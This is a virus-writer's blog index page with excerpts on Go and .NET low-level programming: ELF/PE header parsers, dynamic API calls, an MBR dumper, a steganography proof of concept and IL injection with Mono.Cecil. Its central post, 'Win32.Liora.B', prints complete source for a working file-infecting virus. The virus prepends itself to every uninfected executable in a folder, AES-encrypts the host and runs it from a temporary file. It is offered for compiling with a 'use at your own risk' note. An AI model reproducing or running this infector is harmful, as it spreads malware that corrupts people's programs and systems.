TMZ Lair - Underground Coding

Linux.Cephei: a Nim virus

3 minute read Published:

Simple prepender virus written in Nim

Nim is a systems and applications programming language. It has nice features such as producing dependency-free binaries, running on a huge list of operating systems and architectures and compiling to C, C++ or JavaScript. I’ve been messing with it for a while and I am very pleased with it. To be honest, Nim and Go have been my choices when I need to start a new project (goodbye Python, at least for now).

From Ghost To Hugo (with Netlify)

3 minute read Published:

Migrating blog from Ghost to Hugo with some nice extra touches.

For a while now I have been thinking in migrating this blog to Hugo (from Ghost), mainly because I wanted save 10 bucks a month that were being spent on my DigitalOcean VPS that I was using to run the website (with Docker + Nginx + Let’s Encrypt SSL). DigitalOcean is great, but I simply lack the time to manage the installation, updating the OS, updating Ghost itself, renewals of the SSL certificate, etc. Those are simple things, but with time, they started to annoy me a bit.

Having fun with ELF files and GoLang

2 minute read Published:

Opening ELF files with GoLang

Now I will show how GoLang interacts with ELF files in a generic example. You could look further into the native module here. I do recommend reading it, I am using some bits of code extracted directly from the module source.

It is basically the same idea as the PE, similar module. You can extend it depending on your needs.

Here you go.

package main

import (
	"fmt"
	"io"
	"os"
	"debug/elf"
)

func check(e error) {
    if e != nil {
        panic(e)
    }
}

func ioReader(file string) io.ReaderAt {
	r, err := os.Open(file)
	check(err)
	return r
}

func main() {
	
	if len(os.Args) < 2 {
		fmt.Println("Usage: elftest elf_file")
		os.Exit(1)
	}
	f := ioReader(os.Args[1])
	_elf, err := elf.NewFile(f)
	check(err)

	// Read and decode ELF identifier
	var ident [16]uint8
	f.ReadAt(ident[0:], 0)
	check(err)
	
	if ident[0] != '\x7f' || ident[1] != 'E' || ident[2] != 'L' || ident[3] != 'F' {
		fmt.Printf("Bad magic number at %d\n", ident[0:4])
		os.Exit(1)
	}
	
	var arch string
	switch _elf.Class.String() {
		case "ELFCLASS64":
			arch = "64 bits"
		case "ELFCLASS32":
			arch = "32 bits"
	}
	 
	var mach string
	switch _elf.Machine.String() {
		case "EM_AARCH64":
			mach = "ARM64"
		case "EM_386":
			mach = "x86"
		case "EM_X86_64":
			mach = "x86_64"
	}
			
	fmt.Printf("File Header: ")
	fmt.Println(_elf.FileHeader)
	fmt.Printf("ELF Class: %s\n", arch)
	fmt.Printf("Machine: %s\n", mach)
	fmt.Printf("ELF Type: %s\n", _elf.Type)
	fmt.Printf("ELF Data: %s\n", _elf.Data)
	fmt.Printf("Entry Point: %d\n", _elf.Entry)
	fmt.Printf("Section Addresses: %d\n", _elf.Sections)
	
}

Compile with: go build -i elftest.go

Having fun with PE files and GoLang

2 minute read Published:

Opening PE files with GoLang

New blog design, new post.

Today I will show how GoLang interacts with PE files in a generic example. You could look further into the native module here or even check its source code here. I do recommend reading it, I am using some bits of code extracted directly from the module source.

Here you go.

package main

import (
	"fmt"
	"debug/pe"
	"os"
	"io"
	"encoding/binary"
)

func check(e error) {
    if e != nil {
        panic(e)
    }
}

func ioReader(file string) io.ReaderAt {
	r, err := os.Open(file)
	check(err)
	return r
}

func main() {
	
if len(os.Args) < 2 {
		fmt.Println("Usage: petest pe_file")
		os.Exit(1)
	}

	file := ioReader(os.Args[1])
	f, err := pe.NewFile(file)
	check(err)
	
	var sizeofOptionalHeader32 = uint16(binary.Size(pe.OptionalHeader32{}))
	var sizeofOptionalHeader64 = uint16(binary.Size(pe.OptionalHeader64{}))
	
	var dosheader [96]byte	
	var sign [4]byte
	file.ReadAt(dosheader[0:], 0)
	var base int64
	if dosheader[0] == 'M' && dosheader[1] == 'Z' {
		signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:]))
		//var sign [4]byte
		file.ReadAt(sign[:], signoff)
		if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) {
			fmt.Printf("Invalid PE File Format.\n")
		}
		base = signoff + 4
	} else {
		base = int64(0)
	}

	sr := io.NewSectionReader(file, 0, 1<<63-1)
	sr.Seek(base, os.SEEK_SET)
	binary.Read(sr, binary.LittleEndian, &f.FileHeader)

	var oh32 pe.OptionalHeader32
	var oh64 pe.OptionalHeader64
	var x86_x64 string
	var magicNumber uint16
	
	switch f.FileHeader.SizeOfOptionalHeader {
		case sizeofOptionalHeader32:
			binary.Read(sr, binary.LittleEndian, &oh32)
			if oh32.Magic != 0x10b { // PE32
				fmt.Printf("pe32 optional header has unexpected Magic of 0x%x", oh32.Magic)
			}
			magicNumber = oh32.Magic
			x86_x64 = "x86"

		case sizeofOptionalHeader64:
			binary.Read(sr, binary.LittleEndian, &oh64)
			if oh64.Magic != 0x20b { // PE32+
				fmt.Printf("pe32+ optional header has unexpected Magic of 0x%x", oh64.Magic)
			}
			magicNumber = oh64.Magic
			x86_x64 = "x64"
	}
	
	var isDLL bool
	if (f.Characteristics & 0x2000) == 0x2000 {
		isDLL = true
	} else if (f.Characteristics & 0x2000) != 0x2000 {
		isDLL = false
	}
	
	var isSYS bool
	if (f.Characteristics & 0x1000) == 0x1000 {
		isSYS = true
	} else if (f.Characteristics & 0x1000) != 0x1000 {
		isSYS = false
	}
		
	f.Close() //close file handle
	
	
	fmt.Printf("OptionalHeader: %#x\n", f.OptionalHeader)
	fmt.Printf("DLL File: %t\n", isDLL)
	fmt.Printf("SYS File: %t\n", isSYS)
	fmt.Printf("Base: %d\n", base)
	fmt.Printf("File type: %c%c\n", sign[0],sign[1])
	fmt.Printf("dosheader[0]: %c\n", dosheader[0])
	fmt.Printf("dosheader[1]: %c\n", dosheader[1])
	fmt.Printf("MagicNumber: %#x (%s)\n", magicNumber, x86_x64)

}

Compile with: go build -i pe_test.go

Win32.Liora.B

5 minute read Published:

Windows version of Linux.Liora

So I decided to port my Linux.Liora (https://github.com/guitmz/go-liora) Go infector to Win32 and it worked great. Minor tweaks were needed in the code, you can run a diff between both and check it out.

EDIT: Fixed the PE verification routine, it checks for a proper PE file now. Thanks hh86!

Virus source:

/*
* Win32.Liora.B - This is a POC PE prepender written in Go by TMZ (2015).
*
* Win32.Liora.B (May 2015) - Simple binary infector in GoLang (prepender).
* This version encrypts the host code with AES and decrypts it at runtime.
* It's almost a direct port from my GoLang ELF infector Linux.Liora, just a few tweaks.
*
* Compile with: go build -i liora_b.go (where go >= 1.4.2)
* It has no external dependencies so it should compile under most systems (x86 and x86_64).
*
* Use at your own risk, I'm not responsible for any damages that this may cause.
*
* A big shout for those who keeps the scene alive: herm1t, alcopaul, SPTH, hh86, genetix, R3s1stanc3 and many others :)
*
* Feel free to email me: tmz@null.net || You can also find me at http://vxheaven.org/ and on Twitter @TMZvx
* 
* http://vx.thomazi.me
*/

package main

import (
    "bufio"
    "io"
    "io/ioutil"
    "os"
    "os/exec"
    "strings"
    "crypto/aes"
    "crypto/cipher"
    "math/rand"
    "time"
    "debug/pe"
    "encoding/binary"
)

func check(e error) {
    // Reading files requires checking most calls for errors.
    // This helper will streamline our error checks below.
    if e != nil {
        panic(e)
    }
}

func _ioReader(file string) io.ReaderAt {
	r, err := os.Open(file)
	check(err)
	return r
}

func CheckPE(file string) bool {
	
	r := _ioReader(file) //reader interface for file
	f, err := pe.NewFile(r) //open the file as a PE
	if err != nil {
		return false //Not a PE file
	}
	
	//Reading DOS header
	var dosheader [96]byte		
	r.ReadAt(dosheader[0:], 0)
	if dosheader[0] == 'M' && dosheader[1] == 'Z' { //if we get MZ
		signoff := int64(binary.LittleEndian.Uint32(dosheader[0x3c:]))
		var sign [4]byte
		r.ReadAt(sign[:], signoff)
		if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) { //if not PE\0\0
			return false //Invalid PE File Format
		}
	}	
	if (f.Characteristics & 0x2000) == 0x2000 { //IMAGE_FILE_DLL signature
		return false //it's a DLL, OCX, CPL file, we dont want that
	} 
	
	f.Close()
	return true //all checks passed

}

func CheckInfected(file string) bool {
	
	_mark := "=TMZ=" //infection mark
 	fi, err := os.Open(file)
	check(err)
	myStat, err := fi.Stat()
 	check(err)	
	size := myStat.Size()
	
	buf := make([]byte, size)
	fi.Read(buf)
	fi.Close()
	var x int64
	for x = 1; x < size; x++ {
        if buf[x] == _mark[0] {
			var y int64           
            for y = 1; y < int64(len(_mark)); y++ {
                if (x + y) >= size {
                        break
					}
                    if buf[x + y] != _mark[y] {
                            break
					}
                }
                if y == int64(len(_mark)) {
                    return true; //infected!
                }
			}
		}
    return false; //not infected
}

func Infect(file string) {

	dat, err := ioutil.ReadFile(file) //read host
	check(err)	
	vir, err := os.Open(os.Args[0]) //read virus
	check(err)
	virbuf := make([]byte, 3039232)
	vir.Read(virbuf)
	
	encDat := Encrypt(dat) //encrypt host
	
	f, err := os.OpenFile(file, os.O_RDWR, 0666) //open host
 	check(err)
	
  	w := bufio.NewWriter(f)
	w.Write(virbuf) //write virus
	w.Write(encDat) //write encypted host
	w.Flush() //make sure we are all set
	f.Close()
	vir.Close()
	
}
   
func RunHost() {
	
	hostbytes := Rnd(8) + ".exe" //generate random name
	
	h, err := os.Create(hostbytes) //create tmp with above name (same folder)
	check(err)
	
	allSZ := GetSz(os.Args[0]) //get size of myself
	//allSZ := len(infected_data) //get file full size
	hostSZ := allSZ - 3039232 //calculate host size
	
	f, err := os.Open(os.Args[0]) //open host
 	check(err)
		
	f.Seek(3039232, os.SEEK_SET) //go to host start
	
	hostBuf := make([]byte, hostSZ)
	f.Read(hostBuf) //read it until hostBuf size

	plainHost := Decrypt(hostBuf) //decrypt host

	w := bufio.NewWriter(h)
	w.Write(plainHost) //write plain host to tmp file
	w.Flush() //make sure we are all set
	h.Close()
	f.Close()
	
	os.Chmod(hostbytes, 0755) //give it proper permissions

	if len(os.Args) > 1 {
		cmd := exec.Command(hostbytes, os.Args[1]) //create the command
		cmd.Start() //execute it
		err = cmd.Wait() //wait process to finish
	} else {
		cmd := exec.Command(hostbytes) //create the command w/o args
		cmd.Start() //execute it
		err = cmd.Wait() //wait process to finish
	}
	os.Remove(hostbytes) //delete tmp file
}
 
func Encrypt(toEnc []byte) []byte {
	
    key := "SUPER_SECRET_KEY" // 16 bytes!
    block,err := aes.NewCipher([]byte(key))
    check(err)

    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
    encrypter := cipher.NewCFBEncrypter(block, iv)

    encrypted := make([]byte, len(toEnc))
    encrypter.XORKeyStream(encrypted, toEnc)

    //fmt.Printf("%s encrypted to %v\n", toEnc, encrypted)
    return encrypted
	
}

func Decrypt(toDec []byte) []byte {

    key := "SUPER_SECRET_KEY" // 16 bytes
    block,err := aes.NewCipher([]byte(key))
    check(err)
	
    // 16 bytes for AES-128, 24 bytes for AES-192, 32 bytes for AES-256
    ciphertext := []byte("ASUPER_SECRET_IV") 
    iv := ciphertext[:aes.BlockSize] // const BlockSize = 16
	
    decrypter := cipher.NewCFBDecrypter(block, iv) // simple

    decrypted := make([]byte, len(toDec))
    decrypter.XORKeyStream(decrypted, toDec)

    return decrypted
}

func Rnd(n int) string {
	
    rand.Seed(time.Now().UTC().UnixNano())
    var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
    b := make([]rune, n)
    for i := range b {
        b[i] = letters[rand.Intn(len(letters))]
    }
    return string(b)

}

func GetSz(file string) int64 {

	myHnd, err := os.Open(file)
	check(err)
	defer myHnd.Close()
	myStat, err := myHnd.Stat()
	check(err)
	mySZ := myStat.Size()
	myHnd.Close()
	return mySZ
}

func main() {

	virPath := os.Args[0]

	files, _ := ioutil.ReadDir(".")
	for _, f := range files { 
		if CheckPE(f.Name()) == true {
			if CheckInfected(f.Name()) == false {
				if !strings.Contains(virPath, f.Name()) {
					Infect(f.Name())
				}	
			}	
		}
	}

	if GetSz(os.Args[0]) > 3039232 {
		RunHost()
	} else {
		os.Exit(0)
	}
}

More to come soon.

Linux.Liora: a Go virus

5 minute read Published:

Simple prepender virus written in GoLang

So this guy asks me in a job interview last week “Have you ever developed in Go?” and well what’s best to learn a language than writting a prepender (probably a lot of things but don’t kill my thrill)?

There you have it, the probably first ever binary infector written in GoLang (SPTH LIP hxxp://spth.virii.lu/LIP.html “outdately” confirms that - replace hxxp with http, this website is wrongly classified as malicious for some security tools).

Dynamic API Calls in .NET

2 minute read Published:

Using Reflection to call APIs dinamically

Today I’m going to share a way to call APIs without DLLImport. I’ve first saw this years ago at OpenSC.ws as far as I remember and got into the idea. The code was lost since then but I found a copy.

Program.cs

using System;
using System.Reflection;

namespace APICaller
{
class Program
{

```
	public static void Main(string[] args)
	{
		Console.Title = "Dynamic API Caller";
		Console.WriteLine("Press any key to call your API!");
		Console.ReadKey(true);
		
		string className = MethodBase.GetCurrentMethod().DeclaringType.Name; //getting our current class name
		string asmName = Assembly.GetExecutingAssembly().FullName; //getting our current assembly name
		string methodName = MethodBase.GetCurrentMethod().Name; //getting our current method name
		
		//Sample with a simple MessageBox. You can adapt this call to whatever you need
		//(note that you should also adapt the class if needed)
		DynamicAPIs CreateDynamicAPI = new DynamicAPIs("user32.dll",
		                                               "MessageBoxA",
		                                               asmName,
		                                               methodName,
		                                               className,
		                                               typeof(int),
		                                               new object[] {
		                                               	IntPtr.Zero,
		                                               	"Test Message",
		                                               	"Test Title",
		                                               	0
		                                               });			
		
		Console.Write("Press any key to exit . . . ");
		Console.ReadKey(true);
	}
}

```

}

And our mighty class.

MBR Dump With .NET - Part 1

2 minute read Published:

Dumping MBR with .NET

Greetings. Years ago I was messing around with Windows MBR (VXHeaven thread) and got stuck while trying to write a modified copy back to the disk. I’m calling this “Part 1” because I’m still stuck at this and plan to get back on my research.

Anyways, it will be a short post, just to share where I was at that time.

using System;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
using System.IO;

namespace MBR
{
	class MainClass
	{

		[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
		static extern uint SetFilePointer(
			[In] SafeFileHandle hFile,
			[In] int lDistanceToMove,
			[Out] out int lpDistanceToMoveHigh,
			[In] EMoveMethod dwMoveMethod);

		[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
		static extern SafeFileHandle CreateFile(string lpFileName, uint dwDesiredAccess,
			uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,
			uint dwFlagsAndAttributes, IntPtr hTemplateFile);

		[DllImport("kernel32", SetLastError = true)]
		internal extern static int ReadFile(SafeFileHandle handle, byte[] bytes,
			int numBytesToRead, out int numBytesRead, IntPtr overlapped_MustBeZero);


		public enum EMoveMethod : uint
		{
			Begin = 0,
			Current = 1,
			End = 2
		}

		public static void Main (string[] args)
		{
			Console.Title = "MBR Dumper";
			Console.WriteLine ("Dump MBR to raw.bin? (Y or N)");
			string ans = Console.ReadLine ();

			if (ans == "Y" || ans == "y") { 
				Console.WriteLine("\nDumping...");
				Dump ();
				Console.WriteLine("Done!");
				Console.ReadKey (true);
			} else {
				Environment.Exit (0);
			}

		}

		public static void Dump() {
			uint GENERIC_READ = 0x80000000;
			uint OPEN_EXISTING = 3;

			SafeFileHandle handleValue = CreateFile (@"\\.\PHYSICALDRIVE0", GENERIC_READ, 0, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
			if (handleValue.IsInvalid) {
				Marshal.ThrowExceptionForHR (Marshal.GetHRForLastWin32Error ());
			}
			int offset = int.Parse ("0", System.Globalization.NumberStyles.HexNumber);
			int size = int.Parse ("200", System.Globalization.NumberStyles.HexNumber);
			byte[] buf = new byte[size];
			int read = 0;
			int moveToHigh;
			SetFilePointer (handleValue, offset, out moveToHigh, EMoveMethod.Begin);
			ReadFile (handleValue, buf, size, out read, IntPtr.Zero);
			FileStream myStream = File.OpenWrite ("raw.bin");
			myStream.Write (buf, 0, size);
			myStream.Flush ();
			myStream.Close ();
			handleValue.Close ();

		}
	}
}

That’s it, MBR will be dumped to “raw.bin” in your current application directory. You can open it with a text editor or even better, a hex editor and modify as you wish. I will keep my work on this and if I ever find a way to write it back to the disk (tried several things already, no luck), I will post a Part 2.

A Steganographic .NET Executable

3 minute read Published:

A simple introduction to steganography with .NET

A while ago, alcopaul suggested a .NET executable that could store a secret message inside. While I did not followed his strict theory, I did wrote a working proof of concept, very basic and dirty but, well, it’s only a POC. Here we go (dirty code, do not judge me):

Our includes for this application.

using System;
using System.Reflection;
using System.IO;
using System.Windows.Forms;
using System.Security.Cryptography;

I’ll now show you the methods I’m using here.

private static byte[] JoinTwoByteArrays(byte[] arrayA, byte[] arrayB)
		{
			byte[] outputBytes = new byte[arrayA.Length + arrayB.Length];
			Buffer.BlockCopy(arrayA, 0, outputBytes, 0, arrayA.Length);
			Buffer.BlockCopy(arrayB, 0, outputBytes, arrayA.Length, arrayB.Length);
			return outputBytes;
		}
private static byte[] encryptdata(byte[] bytearraytoencrypt, string key, string iv)
{
	AesCryptoServiceProvider dataencrypt = new AesCryptoServiceProvider();
	dataencrypt.BlockSize = 128;
	dataencrypt.KeySize = 128;
	dataencrypt.Key = System.Text.Encoding.UTF8.GetBytes(key);
	dataencrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv);
	dataencrypt.Padding = PaddingMode.PKCS7;
	dataencrypt.Mode = CipherMode.CBC;
	ICryptoTransform crypto1 = dataencrypt.CreateEncryptor(dataencrypt.Key, dataencrypt.IV);
	byte[] encrypteddata = crypto1.TransformFinalBlock(bytearraytoencrypt, 0, bytearraytoencrypt.Length);
	crypto1.Dispose();
	return encrypteddata;
	}
private static byte[] decryptdata(byte[] bytearraytodecrypt, string key, string iv)
	{
	AesCryptoServiceProvider keydecrypt = new AesCryptoServiceProvider();
	keydecrypt.BlockSize = 128;
	keydecrypt.KeySize = 128;
	keydecrypt.Key = System.Text.Encoding.UTF8.GetBytes(key);
	keydecrypt.IV = System.Text.Encoding.UTF8.GetBytes(iv);
	keydecrypt.Padding = PaddingMode.PKCS7;
	keydecrypt.Mode = CipherMode.CBC;
	ICryptoTransform crypto1 = keydecrypt.CreateDecryptor(keydecrypt.Key, keydecrypt.IV);
	byte[] returnbytearray = crypto1.TransformFinalBlock(bytearraytodecrypt, 0, bytearraytodecrypt.Length);
	crypto1.Dispose();
	return returnbytearray;
	}

A basic method for joining two byte[] arrays and, of course, a standard AES encrypt/decrypt routine I’ve found somewhere. I could write my own but I was kind of in a hurry so I got this, credits to the creator, whoever you are. You can use your own, code your own, use other cypher, it does not matter, the concept should still work.

.NET Injection Cecil

3 minute read Published:

Getting into .NET injection with Mono

This may not be news for everyone but I find it interesting. Mono.Cecil is a impressive work and can provide a lot of cool features such as runtime .NET assembly manipulation. We can inject opcodes (IL instructions) into a target assembly, transforming it as we wish. Here’s the test scenario:

A dummy C# application like the one below, compile it to get it’s executable file, that’s what we need (https://github.com/guitmz/msil-cecil-injection).

using System;

namespace Dummy
{
	class Program
	{
		public static void Main(string[] args)
		{
			Console.WriteLine("DUMMY APP HERE YO!");
			Console.ReadLine();
		}
	}
}

We also have this other application which will be our injector. You’ll need to download the Mono.Cecil DLL file and add it as reference in the injector project.